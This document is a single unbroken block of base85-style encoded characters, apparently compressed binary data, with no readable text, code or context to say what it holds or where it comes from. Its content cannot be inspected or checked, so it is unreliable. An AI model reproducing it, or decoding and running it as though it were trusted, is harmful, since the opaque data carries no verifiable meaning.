zW%Jkr7l&Wyx$s$}_205r<)!X38C95G|J%2Op~27j;BA)H=jz=ZT^?MDyO%BBJWEX> zX}RHs-Mx(~81`H@*qJb4?)&E%9vg&`I4&&^a9+9Q_SFa0bNnaV5#=r5nUZ2+`_9x^ z;AWcimb%g@?6Y@8PrIkn_TMP@H^W-@aODlgUK%qLta>jdEXbO%*T`2|QF*mhbZLq9 zA)8Mcl1?t~qaCM5uam2I)|(T%`Pqu|kDJ>rYS<LIEO~Qr<_96!1OJ^RXa2t^7*<}s z`DKpP%zZm6D!=|py}V7N*U4VyrPZFu9jlyYy=~ev`P|kOwHr52ORAGSQlk)ZePy-W z_DkFccX@hzI<>FA!pEIIV-{P3h{W#K3)huS`gQx-x>s@!{shcbU&Zrg)ysEM!u%dr zO$2JT)^0Wa@_f$Pwii>xChpJG$lWxBp>)j>k)Ldp68<JLcXt04;C-RCf3g13^e3#& zFArt;drX+9W)#s9Cj3EZi-f}WC7Sl0H-q;W>HS~u)%SKlrjB;U!_xFgFExH0JfzE2 zsW|!n0hu+clD02gQ8w*--=d1xskdva_#c~iZeF%_@v4rG{!(s&qE9%dZctm$F8gDj zL*dR3Mt5XBEN$=KyKm*o%5u|`s?%?$?aSF^aZJ_h?YDn+^L;M8lrhM$x8OT;R`&0r zQ)-u2>HON37!jFZ$<z{f$FXn4n)2BSIWHdU+4tw}uf8JgZz2Ide&#h_xOdgDV<LN! zeNE@CUAGo~$a=LaqV%Zj^SNwGnk@L$kN>>LE?@sM{7ZOguxakk7cVy-y}5YRnzC|l zt0xy9FQ1pW?ex>5;rpw;zW)E^)%O1d)#bZaTfICn&%SP#MYWA}^|p#Hg_F+b+%Jjk zHokdB^t<@eXUp!~(F=b)JJfThmrG>8tg4?n7Ii|;gMY1Gbw~Gle%IZyt+Dyti&C5Y zR2Vh(#U=z_tK#p{dTo1#;hygI@1i?OD*}JpS(a;O{hVga=+^U$?U?<Q*|`aKN@A_w zao(O0$?%U+fKB*dPov|J)+HJxx&Ilx`pPXY9ds}?@yiNu<MI>!aABjLtiUPLcDwnO z2d<g&?76m5(t3X~+ZnDU$G&b}J6W*!lX04XU|Si-YU^zty1F7)cFHEr)smmRnzzsU zi_X~#-V+wxY$|5)e0Q&N#^Q*#M}8lF{LWfx%Y)+5Gl4k|CuIB;yte+W#_SiCVav^5 z-A<ffAMtC$!nF^kXRdxDTX1jdsi~VUKAu%$ubs3;{_<ws+jlJ`XUA=LCF3Q1ucdZg z>Iwbs=ZTyNMiwHMUTtXZz7pL~e^kZUw#a%9ds%bXlCt|;`<xZbne%RLS~5TV?QO0} zpHBQgtG_Q`o^(FXxr>WeH;8%dC|oz;kVwJi$@PgQ32#r-e{<vgHgVMs_W2+Fb#I!H zwcbH~>A^s$Zx0S_-F(1$enEl3ww6D_8h5u?UoAL$sPz8S+851}{1}a#{vX>Nq5Spt zACXB$Q;dUdEQnF;3Rst$U2U}RXyP<!o{IBn4_S0e-k;sIxFva7!=!ezO--x#WjxpH zjbUahu;NTx>7O29>gU;XPwkf0;(&<!ZHZerRemlw=Dbz#7}xGon|?EV_&+ht)nDZ4 zrg<772fwIX@#vcEcgZ?H_@U_<O)I0`meytRXO*iSu3opiHz!glbe8MFH|8N(>$AA3 zCDPnu&P-)<I+|f-kiT!+wDvC!>K#$65+8WVdPNj^Wq)ule#W21a_03{F2C2Aw=-5P zTAS^=P{D7-CgwHY6`o${xiYz4N%vgLk5|(Sy$zc)U;2m}9(w+j@6zWx##>@e2eC2B zIE$?~vfZ6CL`>?-Pe%SFzqje|=u9*b{@-)gXpYj6*DUN0U7Ejc&s5y+s&4aj?_`#n zsb?QC>V;3P6=6GFF;Vm7GIyDzGb}BS*DcI$uSt}P`euF5YRRAV$5dAI?|hT=pVdEQ zx>Y-Sz@sI%Km0YhR?1@-@BaO$%O!sny#^uH2@*T=Guc9B$UWFRhiCIC$+s6p?myP> zc${Js8?fb^y8FwNiN0xtvx3(wEnzrOZ_}c4vUtKTrwDOo#&`TjG;hC7<T)P4x8~S= z$K4C^wOC%R65GhM>XY@0XUkruNF9}|os|Axf-TVG)TcS;R%vbfaxF0Mo+<B@%E~Ky zWA9!UoyOLB`vCv_JwKY|*_J<-4|vhKCpI{UV_Ahyr)zJdgZPC>R~_${KmBEQQoN4A z`hh~nrk{qaT`5&HpDy+vQt`e#r>J#V_UDs}V(wqOyR+`=+4B1D=IZ|T*8e^n-~ape z|Jtw5DhumtOMj;A)O#uFbLhd7H(#E7bU)s2-@W|!=Eav4yb|(n-2VFXbJf>fJL)&@ z+P&-k8#CA7Yqooz21?yNIn&<WZxg302UmC9gZ*`%@4hzIf3+-M>VU}uXS1%)*4ytS zI@n!ec_WusyJ4bS#TP#L8^w$H1b*a)Rxq!U+utm<-G0J@xyJJKcN-oHZME0jzT}2n z-{DHNC4qA@78)jRJM_p}?D5<QL084}^5#@&aHg!&|C6`dDd(+Z^x>3bWrscYx-2Fd zyM)d0Ief4qJ7(qudAYMY@Aj=a(9<b=KyvT$HRscW%Wf`cch`41#l^_``uJ&!7~XHq zZF}QWqi#i7FFNz|>oyySsVlctSZaLReAQV_?eo)yt=iS9kCPb<CBADrpO%UBysj<2 zW@(MCMdZHcQ)*j-I8tU6$(^}quz&ipS#Lg<T)q+GZKX6pGU3WX;qDhzj*+i;mz??F zG3mfg@4plHFYH+6#(VUln-}l5Bl$<;uOAY8vrY7D+B?@yrmxPTm0$Ds{W<jAZSRYR zr+*0kI?U_z-0J~j^Zql@u^rAGFCQG)Wv^+hW|3UC;M<m94^6|hUv>I5T7o~C^Io0I zaz*f04cAG_X&)DcTd`=)_xiJmwXIL=^5jeot=Md}4R01N+TYK_bvx%XoA^G4bIbO2 zGH3j5S;JDWKYQh^xD>{K@3WH1<eM3nnQOe>Ys0A#&JfH{V#?NG+`<2_{qQyem(^{o zKW6l=ljw2V&FMN_Os)MF%Q5?BPi?KfO*wl(%=u^L6J;sS2OTxm=RfcTEOW|!YV!T% z-5obC)}?KpFiGgaxrB?d4?YV@9h`P<au8$H_e&QX@8oNrTC<lW*=)tf3!dww1-O>X z>8&v}JCbqr>KUz&gfE$G|El&1FD+rQ@mgJe;>p2A&7K{X6ptUgaOxeq&ttu3+KjRb z=L_>>h<TiMO66A+C}KT!#(68p%X}NHvzl(|K1@sgIBzh1(D?0x*dkZU^o=dLT&z4y zFHdX{a#9Pvym{Hw>tzh-CTDbJxN0z!#T>kxyeOb-R*U4)&SUSS4(Ez&UFX7i%e!_3 zQ^*PFH=bN~63#BYJZ)9h)A>gZY!m106DxcgXy9#-bUOU-T|PgTnJsH&*;cvAI?tYV z@2iHjhT`P%IF+jkot%D+vTHopCrpyluv}E5=V2J-su;t3+2G8k8Z-NI7vIf0^3vpd zy62=|J^>eziOcVZdn|4#V*9n`J%|0Rmx~UpX_j3hxl@#50lU%>Td!Z+meqHkJ!^XP z*_84PiT*-uhUZ1H&StvK^1XDjhe@?|hhEvEwmC;Q|GvNbb@r|sm%_8#1Y`D9-Me-* zg{{ef|2C7>$IT^1>~FT~N-o-QTJ3X9ot3qvXL|S9yS8ila(12Q?<=2eYCE^aYUy*I znWtWTTc^2wb+>(t{r^=rbWUGA`}ghE`95LWPtTry|KhHtQJtTrb?Di1J$o*1SM}|3 zPT3-d&d?9$i<U>Od42Zl+wS}K<Kizk>t`-4)rppD4YcF#m%FLa&#?UK>7?Cp_miqF zgo=lsUUqbYjMQE+Us?CRbvIt!x88p1yQs~*I(eD53G#l7cc!V|GN|4--Lbi<K<!9K z&5?J-+V@;*(ybn>NM2WN9dVmO=Es7$uU9U7^yORI37)$J0>Z1=e;klIm&=#5<I%6U z7qyp+1x)K~7YVifjaeONc=GeTBB_rupZxq9|CYukpZT7$;yhoR)O*goF@X#II!+0f zV&LO=Y%nz}qCV>igTPvc1{skOOU5T3Z}uEW?k<osT%ab&9hJYPtj6?(H9rGm_^&9z zx8;7`(^g9fs(<_btMXpl(RR_`88ZACmibqHL|ALJN8D0f!;^g=`+=U0bU$<7*%C*O z!;xq5O4d04_S^jOV3y<>rf)V^+YM(NwK-E)%QwN*u}*7xcf@q*%4VG-7q0W`l>a^Z zAoE2)JcH2&MV0f-zZzF4Tr<eG<le(7exuyj=D0yf{%hX;TOFUS*t(_O4sF%Rmij&I z_lN#viLA==`yR3U-JN^pY3%kBUu>3sxN+IHW=aBo%h{TyPP^k0vh5Btf>k`6{y$o` z?DCwY2Ui*BuH}i~eR+QVlXBHr|EKiioi3Z#R#MGXalLB0^{?Mz38jm}KD;#UwppUO zd#w-m=|ysuIT8VvPTjSf9+&O&bm0rj&WB4F16i&#-Me{Y|DBTWQwtfarp?fc`mJ%; z^0K|it?at?_gr5NpI1Lvdo%D%H;e6&-s~>7>#qKZIYKXI9)D)8V-r_?;bJo{e;3>Q zJP}p@<txi086HZoiyZqS_PA!*jZZ=EM4C*BtbgdP{5bbrgqb~Oi+Weq?x$8a$~T3D z^?pgRUgZ^ie}>M%JG*qW_nB0Q)&w5oi>TuN<a?twg7fT#{fkPQKTp_Lrg=&sR&)1C z-kyI>`QnVvcAhAGWWC?rYlepNqIyl&6T$o6N%)=@aN6)^>q+PO+ghjO)^$xY+7O&) zAMmIBi-b#~!?(rTr%XGe6k6*2(xW{nDsb1c%hJ(h_hdt)Ztk_ZP<q=j@Bnl6l<&c+ zEy3sBO*~^7Q(!oS@y)WZO2f(DrMuG@f?YPw*jab$`5U9t>17XIC>>B@@w?0$t>XX4 zH+1{%B=g(rCe>KY)Vp=FaFX9cxf#A1$920D)_&Guey-5fsI|yf?aR@hJjTB}E+uqT z*d1q^CeO4*>h5w6_t-i9njz+;o|%rpIg-{lOaqv8Ui6<#*%+C(-F*F}o0-?Ay$ELy z^i4OlU1T5Xs(875@#M`vKYGqld42WOizi$3PM_|6UK{<~J$*_<z$~Yo%(825<ZXIc zQ};__wrp&?&2rxdPhP4|v3g^6+rV?NM%>+)z&~;K_pLO4{q$(Lc>Le4y0ZH6>s!*I zrz~5$aM8qPA!=!v-(DO(f6nfo=bW<}KDIqLW_ESkojbYH#m~OmckA9={q=g&S1&5m zNtJC)wBuZ^o@lrD%1Ptcz&F==W-ib<tnlGS>~m9HZHq$vij)dIFD<<gxrp^EwyRv+ zA#hvy)ePb93^Ez+&&yMfzse}6C_YrOXirv;SY7A(tNUiSb)UN!RKfl{=t_sr!eoi4 z(iN52$Llt3;F;j{MJYPF<?j;q%y?5i_9J4)r7xzxE3(o&7}<AO@W>t0-O?9l2byQB zdC&KgwK>4(eS6b&=`B6E51cgLRf{-qY;BpiNTSzhO$p1XNRb336B7^1=#BbZ6)ulX zdfeJ!oygwAvSe4pgtm$PKNct`@wQ!TyFLHZ-BABimf=#JwhYVFcCl?pI`F0P@Y1gH zn}psfl!)Dwm%P7h&Ylhz&pSG8nVkNU*iX&adub-~(zvp@b5<Q-zQ1+_|FiFlHJc}| z3Ylm1LRh9}4&Sr)Nz<z=j&E<*n!vxG<92;I>xFZ=dHyNQw)cD8R1^yy{M`PF|NXp= zx8JU3KDJ<E+4_)D4%^nImivo3J6FtLvunM1YV+$=y*t0EsEMggh`+aK$@5#!8FwEq zJ|5b5YxylXxr38K>g&A?o#vi*(n`O1Ks;DO;!{+<oWtJK;Ma?7G_*24YJGdL_>@-X ziXYdwMHzH?E_5~S=}Ldktui~3>jH;shL>E1^|GLOUf<XZvW{M<In8!rh2cy02QSOg zT1_9;?%=rQTEBJkW|o`9D?Yw97riAavPR=@tEpi2$%`jbCMZ1lelXZwgwr-Z^2Tgg zo9nB@w%#-e+P=Fida-hNk?drabNtF7%U<ktT`>PiiEDx5p0&GVGCNy4<)7%;?s7TB z6R}nLtzFpGE&Gy%s!DTR+9b6~W8U*=8bl?|yL?~b=&}X9lT|`y{<{74+OMXKu3mx< zl3yICe)Gg};ttn2mvf34Ja?V=u4ZR$BeLp0ht#Dkseqsy^EEdwiL_}KPG-$m{U*wp z{h-9Xs>mhJCq`X02)pLC#pz-Aktr?n`rIrT@BX)OncZ^j__nvK%UL`ZaWEFHOXPCk z?-P4rv!&Z5cIvmRWPc;ye!oBGe%fs?omp15MC9Mgy>D+QO}fvh-H<J}Ur9<LJ#f+S zS1%@9IJ(aJamgjmm9rg7FT9jclq$L4YrO33G|$i}NAtGEom<v@^Us#-6;A7$G;$+b z71n4)6?zIqtBD;tq;=@evh3X}`WJIlF=l+^Y32X4jiF_w!d&;XTUSl5{;drzyE;wT z_5O9&_%(k7^6IX>3UW78EtSc>z9890P2}Lys23*JzLy8i`dPOjdhH>LWxM`A`FQ!} z$CqVW7s;45?6FT>cJ<Y(MG<#JvbA3CKlfZc?)shmmHT$?Y={opcjHd%eVhNUo?R`! zowR*VtZ1pQ^FnPC#;4&Alj=-t?H00_b1b@flfC=6{PN4nyDnwz)_NZ|t7>=bKCNx5 zzy3Y@O0IVPs-?GA91aMav~Y6gIrTuRrT3S*$G!_o-5I_9{mbrKVynETXuS71z0vuC zzw)0`OY^D<{*~r_`tIY%f8#>+j|QVt``#xDMX|46u<+6KYHfw<Z_OXIoi23pd?J0y zVJ54`@dn<jI#1Nw%AOX8o|0Q}-e|4oRv)XtvJ0(Sg9NIXw!Icu7_j2Q?<Wt|^fVha zJrkR^ST3Yp*6WW#i-aTd4r?>3bE^WmPwon7sLnj|uKCOcp`}h~j2a9tW@I;f_nlL} zG%B@Y-_uiGr$SAmDmF;&&ht4Q;jpLt?uSPUx3bRtbnj)v8*Ah0)V9V}1%9Vp{MSk? zmK^1tvF+uOk1wP2mDrcC>&E`^J#D1Jc$(*njkmyG-(3w1hvO4io`j!Ks9Yjbeuhh4 zrGRJ2_XB>%7u{O1_s(Qlp)1=tsuq83&Sv|N|HU~;i>cwj=ORBvUe)&sr2+MSpNb!z zoILH)0wz@pk(1h28?R42y^}A4sad|Q)?Be-dYA&s)Q$fav$?YuT;g@8F>L)IakS87 zWmx3VHNU+rlW!harMU3y-loEHCsh{kHppEH^s~R7f9>l!!{w64bk>LKhJJQmSywh| zPh{!pMZbSYIG99j+Uyg&>wwf-E$=^(Vlj8k1^#eK^knU+lxk@_rXv)1JYLlH@b$*8 z-8T&cGTOGyU#iH;)^V|{;Z4iFaFf65mc}z)yx&>4D7fY8#;iBn-n{(0#VC(Ex};3( z;k#vmt1oCQ2+H23cO|CddEtQ-r7r~bM<jk>_e}Qk{c&`8M)<Z3sf+l<7g#dvaqsjy zao3z{=67D!ZPRAX__ylii!;ITovvxhX5~uEMhcECH7P0fL6h==pE!p%{I1qJ>U!@~ zf%K6;m4{QJJ?5WSenj)DVCkxTyp=h=$N3pt1SXk$R*sOK81`R>X?epo<~uCC$JqMs z?D;KqtY`9t^;X5fjggx>OtTeda9-l_5Ddt$_l)po%5`8U(%?MsxTA5+F71i(AulYQ z&T4)aZT-phX-b*g=Og|Xe_iAi;n`Wu->7!t?v)9f-es5R`$W7w{o&1mv}(nBs+sW( zdctd41>QY)l$j#o>FsKF>2HK{497pK!?!PgQhITN+ppnhRR!yuW2YFRCb{XH4@g|! z#KiPwx54?KQ(Kp9UaWF<bB*0h-9s9mAE#KwHoQJB6msG8q8bgZq+b_Ojwv@=bR25< z%5Y`gk+(GgEw{L4c5GU5BmRE;wcDxp%}Nv*r=Ba>=6m;~>Wc<R#wn31rM{dMCf2oF z<!xEc{FP-Te3=XHE_*-AfB&D&HAeCJ)4!YN-zvIW`t|N=d!6`ye7$>xW-%6aX)-($ z3g7N~x_tgr-e|ANuxKvklBNCf^#%Vf_N#w3_HZf^-kQH^nU+SXXF7M(g0JuDiod6A zui1O^&id=GW3NtI`#SLQ(_@~?CdE9ztTDSKG2`WyuB7l>?qByet$4ldoq*6z+oOy2 zr|I9y+GA^1#nQ;n@nPZLmp7Xq?yqg&E|LCxujo=#{+73v8KyjOyQ@p(#230r%?iog zC)bklZJ%9@T8-0%FF_Mz5?&qCP|R_kH$Abz>TU9bH5t~+%g@_?wPa&?vzRwv_QVRc zxC1-*_dOTlw&hb~xm(uIB5>ya1tpo1)TO_l{`wi#f3M;aXL7B>{m_P{xdj1^@3dD0 zeh*)L@$-d={MMC6WL8+#M2Ss5ej~7k>&d-ucj6qj@_x&|f7^Cmoxr{FnUM!B$Qz&F zV?EcN_@Id6&_sRJ53%YYHzXI`Vb55ip5%OQ;fgJHGS14I>BKE*QCcN?X;FH&*0oN? z@T9v*9`iTYuK3PeVSRE7pU?7d6aIWJW4hv?BjfOIjrft94)1q*i%gh*^Ze$D-oIbv z>kpn)bTq0idiU*s{H^V6wbNA_FMq2|{I_?>!N2!qJUHLBdn|q_;I4Kn|I|M2%-?*< ztIqig{r_m9wR+X_XP&$-D?*Ay3NIh1-?`|)-Tyz2Pd0ea$h6|<-%W=$*8S30bMWr* zU2~89DiNzIkJdN8yLs}545y1%o_&bBID6AgvAyqqZ|R=C;^@MU;akI`ei$ro7gO|p z$Nq2G+xJ`>uAX0BHLYcOc3yRMS9&d*p~-yP{fW-*x7Ao5s5sniU#ci#9H7Wl5r0UE z-ML+ErNiNGUq!fI{&}c6<Cl}Xm-39z94Y3*tn!c7m8L%2bvx;i!)tr)zkMg|MJiuz zuw|BRRdhC=w6Cep?P=oWz)y^y8DDT2%n``%<<b!4sJIrsdFJ-^lsiWKlC}9(erFal z8(7FxhSxCd+?BFX@bDR#3oHsP4>oePr{3dx)yL87xAiqo%r0irl8r}X85VOzxhO_k zs_zp~>alV&4%mEN<xsZ&b58B{dEUaiJHF_+9R9!W-3q1jS$1J(mwkP<v0g;6Cg?`o z)R3o@n+0^+Pj_un{e99VVQ$%y!nKlG5_%th#!LUcAh&?sJv^jjgXyBrORrBdQcsgf zOkbHO)gsvA^MyB>?Ss)p-qUjexY8xoN@lXJVSIMeVqb8w>pGVkhpT6crGGK=Sh9P& zW8}mI;{3l=-2QoSI!^PyR5Qz8?DNk~zQ-oB+dRe83pH*<*sydk{F}YpGETuO?eBy- zsfB^6=MsgY=GfSDGX+eEjTK$LKhMnj!iq^OE0}hPKCP<#y-G9ejX1kNGJBt0sCniD zdH0hgn|JA%muK#Kalzy5s<U3K8$TtNspd^zzyGVwyJXMCT`ym_%-XefRaNkm2)_&G z4s<Q`X?^GBb6w!*3@Mwcs&5z1r}@t-^*tT?Ca?JOF3or0+t=%u2-JGnmCe4|b?Vou zo1uGOymwRFrC{Y3GKqBx;}K2eS3Z}og+{J1U%e|c>lZsi$;wM>Y^vU!+HuO0C5-<? zaoL9Tlf7bM827d-I8-Mr{$$4(zWN)(mxcNEAI|QSRJ~zzzLM+B!|lo+qOFh3og90a zS@*2)gN8MdA!%z24JQ4*6MBFlgn3;`)ywC*HuFzNj5PaofNz1tvr^{f2L~72w|X1* zlxg<u)wS!UF8p~oRZDvAX3<Ssb>ClA{+YWzQ@^r7YD((NIWh&4H>FQw=~$yAm-GGM zHBbJJ5sh+^xxaN!v~aLU=4Ys$w{lylcV7C-H_2-ctfwrjoqk8}U0e0nJpbOLz(>Y< z2NVw8m-s$sgDvYHDP9{UGx<lKgr*<%Un-p{-=4R92k*&>t<%-kd|KJSk}t!)<gDcf zw~&_Y>SBARcWJ$xQXbG{|ALE0tG-C&<F%=54RQ-LPVu&-oSl7<@zMJIe{M1^s(&xC zBmcIs_R*@oPK$4?-yW}HW;+yJ<FwrSL&1S(MROdF9pu~Gwd(ckdpegsJg&UNboZ9+ z?DiFBtft)cY?$E8$eGvprz+L**VoyxXKifHPP&*gw|$e`tZ%bd+0Q+&;=|F{?RvK+ zdpfYn*Cf@XEZbtfM*A=m--;6&td{eBtT=sfjnQk_1&`h|ANO4KwQQ?L%<9Nz?NXQO zO7u1FJTts!<t3|Oy6`>=2j8~911do-kxPDjSa<NKn?k16%}J}o_Dq@Q`a<K<<?4cI zzin^aNYD$|q8+uTD3armb9a+yy5oKU3rn5~iJ%QLn{*P7P7REi_Hmp0$4zezw0)~t z@xD??smJ5~Cj+0&m-x7&xqeOI6<JfPbal>$(l!4N^%gwYworM^DY?{}_RJj7=`#*G z@_lmo^UW|d-b6=tHLFJQ_sDvw6`2R>YTeebzMNzmR`iH*VUxJS5nG;92NpOic=3#d z^OKxRkNL-WNhkk%->fb@U9==TNpRw}JBHU8GfK=)Dqb%*5m_~Hp4<Qbj`~rHmrk5! zaYZ0S+N9xipY~)kr~CKfUDCql7VB#W?5QpE2@OkgsmYuDo6U+*MB<>7b#KPBHO8Np zm2F`w`+hdynS|;aYXi-ydp~m-S3XdlWK*K^#B#oy^2)ZF?ao^}tb?CTe8{|3>y`5t zo7>xb4n2tRDcpECVTNVn8b$3{&I>cv*s+8P%s!be(p<>B@#mA>uO_8*%ynxB>y6QU z_IpOe!aePM{0&UE-{$V!yUP6b+h@l_1H9L9D(GC~oG?Gaa~4CaL(}&;r+7c`KXp4D zFS6ON<nF)a^_Kr${<pBLJ+q`^-(S7;*MidI<m~VM|FgdT{r@}L)xBpkyqUP`+^0QL zf5{|7cqqvE$KL)bw#cP*PsshoKxY0W2~S@am6xuH4g1hEMe5mwl1+>5-O0(%&pUlJ z>JxW|(iQ8SIWl@hN58JSckj}n9}6vQ<mBw$ytlu1zc#0OW#;i^@B0H@F{H}Qy|L-s zDXsOZYg9Eadact9?tHq=*7W${!uuw@F|Pd&WrY&tnbm`%<<oz6M#|3f-VpoesGiH; zNkJ3*&%avQmp6yuW{Asb{o^h5(FxqijISnr`fx<QW5$~^M=$yb{owz6T6(JZ^3z9| z>L=J#{3xA2g)`u_HQ%$nUU?I$S6nmhax+*No1tXT*OqwUd^l&E=wqV`Mw}WdOr<ww zh#9xbZrKu$J-;}rwf7lQps!x{Glh~#n*$%+Td3u5=6pb;BTw3^<2@Jc3^R^w6`b23 z?l$>iz*U{U49(rXPP@vCtc|!I{5`T`i`HZR>-Ky)4cvXkeK+)ux=!PYd9c&mQ$0IB zdT-8^h8@gIR($W3H=fU|d%Sb*(}1Im*P5AI#hmA!J=@T_?qX`}U)A3ay4&|%5O`2= z^o;y1wHv8PpJ%uH>Myud^H4uk{C$=>msY~w9h(blgyy-H6g!s9nb7boRdpSw#)HLT zwK4LNSGD=>{-}7hed-k>)zbU}jngA4?)U6ATF<?vK`7L(%w}Gg>AS@(Wvbh}H21LP zF%*8R3iWvM@4dbG{=K^Yp5@-`d;0N;@E;|^*;5|fiCZ7*8oiLezxH<TY^!`m#dlSl z4=?PRt~Ez!|6z^eS5_4ToxOZOJo(M)Q!8d0hN?Hm6d#O>@&9PDa;pE{+uP-2Tf1U& zlzdf|?zMlYZyH&y+voB9-6{KdfA-0iZ`F#J$;*AOZ)rC7y@Zcxk7qI7ssDLYUOwTP zvggK{r)jY=yB+VXSTZ^Hq~V9h4^?iK#fnTx2y+ciHjSH<eLX2QO7!@;qAi|PSCtnt zzfUpM^xns`OWpU_3~Osqx8qY7llRZLo2D6O{Y^~spk(>U6YOs$Z(Khql<V~k>&CjU zsqCCrec95TxLXDEve#b-WH7$|M8-Spi^~6rj7kB)JtA(t=XRfxHLh+sz;MBB^_@E* zKjV0hS>Bm)TZ8l9`Q;yO^xa=~CzMm7Ye}tvMc5}-KS>7Tx}1Vb_pjaTFuS$l-RXc* zmdz5|T0T{NKf;-IB`x!Y^-isi98cEfaVc!J+GU%1C86`*)6TXjul{Ge6G*$x-|g2i z`>B;lMa9+EoD($8w-rhpTQogrr}YVY|Nhr!x2-X6UmYFs`%3Bku-wX3yM4Fb@_0K} z{@aC<Cudqund%bF#o_cX^nX9c+Q36U9{&6M__w{x{C5{V$T#{K1YHaN`s>v;TUoj9 z$1m@@DPQGTz?jKatZu!P`DW6>%$p7+%_7r2_1;ZW4rki2_{wWrg?HMVmsPj)YX!)6 zFLaO8e^_5#x_j3y*Vu>cHu{Q8_vhbguf6{7!eRM`B{uJt_Dt`u$*HpB-8FGR;A4fR z4#~vCu1zuV=@+a|UGSS={?^}r`Qw$DAL|41<P_8eR_r}*_v}TiO{s`@vih&DbJ%RI zCt1(`+`e;1$j1b$(=C=q=4?%GPU4<aF5TSh?{G+>VT100IBvxyF3F5LuX6_<(Bxp% zd>g=>9L2*@x-)jsX5&*=oqkxWy#5~XTXWgP-!lr*9X_hnN=%k1>fMyGWoZwOf|ODU z&(DI>Ukx=+NeZy%FTWC+%~`FeJ2@oPx5+z5pF{Sa-3mVYY8SItpADoNyx3hf&u}{Q z>@eF@mZvKpJvK;k`Y~JMy8rqg2AhiCc-|~8e6Y5*=w81|A;U(~({3jk6>2~FOw#$v zuk*H9c4M#BOk*uO;UAV-j2{|a?o=tVcC_8XztD$EcJ6{?=UNu`RK*2VJGVA#iE8y( zTN><L6ZLbE&-~a5r+Hf+s<$3KvUkqJwz8x-#~RNCIVk=9YyN(Z`T4k8aSUSTHn(i% zF8Y=_qj}lPcWZuiMx44L&*japwAxg-{qk&~Wi@Pj)lR-_zET`if7-d}V#Q2vjlI^3 zHs1UGaCf+N<stjK<*E@^-`&;QefLTIk1Kya{rvJfTqwKCzW!Y_OM3BUrh<2e>ugr_ zE|}7`I%ePEfXitd^52uqXOyy*Epp0Sq7x&&!8S*wVCSDJhTYt5kMfv3EMtmwPJiK9 zeQM?XP`|Awc&w^24s30{KkeN@<NsCWb=6b%-}bU`{xcy(N&SIC?P`vbE^l0}pP0Rx z>C{iYC<g&et)eA4TIP!;)y)(A5HHtWn_s5t(pq}WPr@?d$CBr+FCDhZgqS8}{9tfT zyk*E&&35P!&$0(<MiVdJ3Djnr^-DrjQN!3&`Ji|1jl0?!fopyXDTYKBzbWx#S({Xs z8?i$;t39(j?O}zi=Gmu$={{$cYD{0vw6kI2AD8Q@KQj)WST8<vNtOGyAGZTP7jD*6 z4R#Dt+V1!2_v%wYOhQ7eCQdDS!N;D}yGs}RoTGkA-`n*6M#fVPsfVr2dbgWcS@C|5 zRdW{J&+Q=md9tmmnwFAOh53j7pBAn-nW6T5v!c-srS;}>8w&$xX7bHEaj#A@ZvGty zr(1<4QVb8cr?uD}FkNoBb$N1i71OQ#`3nv=AJD93O}i*pcWA-Cix#^+2K>lotC9Wx zMZkDk{jv7%_O(Br|9{*6|L^{N|9>vFarEp6RX-PCY0>ld<I8{V9)2nKBy>I6q`*-0 zEThYcPmA{4$}O9nwRv55X>IY|+P~lKzTN%)TJ%Zwl;bVt+rzhSHxIx5>ACg+PwfYJ zGp@O{*sOc`<44K&)BoNbetcK|{r&$x|F+M!ul@Dm<K?^0mp?wd(6)hb#a;{d>4#Ru ztbda=IX^#a_w1^zha|N$U9Q{M*w*a(zsFu~{<q)CzZfR5IM{^qR`49%th}pEZu{+( zdQ}ItOE1dqRr%{av6OdX-n>scJT$7)HXCgfZ1S9ywb^tb=lPObhgH00x7`XZTXc>g z@Ko^T?gX(Wwwwep)~f4=9j-s_G!=g?#8p+`xvfmlHssu$mCNV*O2wYYkiB~E3;VO3 zc>&x9OIDsr4XK>VI=e?Y;B?h=oy`kgw}wgDM;qC*KS=Aj%+2-V^&h)juHK1)J!iK+ z&^~U)?aLZz6R`7y|DldEdty!<xmzOq(@^F7ilXJKmA0Q+_rbHl{%e-g6i114|6>`> zQ(DTK`~K7hEEb#1=6~^rI^)-unoD&Q!^9_qoi3W{QFLwZjfq~dyuTM!UyxMLKNz~k zcKfaw$0E(_yv%3D&P|uzc}QT|+JD?T7pmm^dw+;U#ZA*xbGdleil^Qm9Yd48WnNjx z+C3*s$iiN>tu&EeQO5sY>D;}yZfuYK@!OGYd4XuvvyOtIpgZrYBY)+Wx7y6eo%w$E zy={-pudhCPHs7vpkNvi{_xGLMzjK{xoz2z_Oq0Ivih3&a_5X*B^|f60;}o@a`>aZr z37*8_k$T=Z_7MM(bdf~$qXMFOAH*xZH@<FaUiMOO&MB^a^NJ44yO8PddQ(16XzAI! zsrjdqRBq&k->9#;|Nq;v1iQSvG6COJpFdPEu!}8fpV4#R*@Mf8f1H!=t$kY_UX*w< z*;q#E{1%g4H$0{M9?Gh`5oM?ndcxrE%4gWaH^-{|uvzaZ5x&Q3CvVrf`FXldqO;=Z z!wv`f=85VVJ(%b(!JB!3ZJyXFr!J9w+VhPU_h>xucr4H_?!+;Z$$i7R{$_1iyTmCQ z+7fLpDWAVp<@>mqIfQY6B1a{|4@0jq{#W*0LSj!pNuItpnd|vC*;SWr-@04Q5S^lv zyyVkVmiL+W*Eb$4eWDy$=@4{0PW-_4yQU8d4fdNfXvc@Y^VOBUbo%&y`NO%XdD_Qc zo{G5m!C82#)pQ%Svy3Nw4aIpH<e!B!Ot5)>p><cn;jZueLCqf{PTJfQ&U_~`S9EWo z=Q6cbt;ae|8eLyGPh3`LrjvGIMc|&ULse7nP3j6i^#9+>iKm#XS3bP{I(Fxz4SUwU z=H+eX+QliN<;QbnRmjs+##fq${(N}Y{{Qv)|9|TL{dpW~y{qic<$oLQ$HuPRwyAjC z)2MI!^M5uxz3|RU%guV;l-*OO{57rFe7fse14Elr@X9FfifKBJXV{kIa>qW&YJFFD z+ibb8fcmGkhZ%ET+9XfrfBdA)_J8u_xgH1A-bl?2zZvgw=;^c+$rTT0*7WqMC|K5q zi^*S_<5$$$9P)n>%gK5NZ@<uAN~_Lp5(yTmjSzWw`HSiws}+@M4l5Vkxf5`eD_~`@ zmZZQlkNUEL_K0t1WLdNIj~z%~nh@b7<g>~lr}A^a($6A-DrMVLuE}Z7*>b~~DKJmV zp!Ch`&99d{oWCbbKJ8Mx%ug*vUu|RCS&w&~4R$|W=vy|&%%$hp34<&lp^hS6$Np0; zq08lTi_gd$W0aWDXL36s(pirou(W7?)#J||d|RIQM+osgWAxdg<>gVPamtlbfk!Ij zr*&twrs45G24CM@BC(04cU_AmzB|ljWKcVNOtXsJU0-(n_q2(9H!~K`Q8Tvk4n4^z 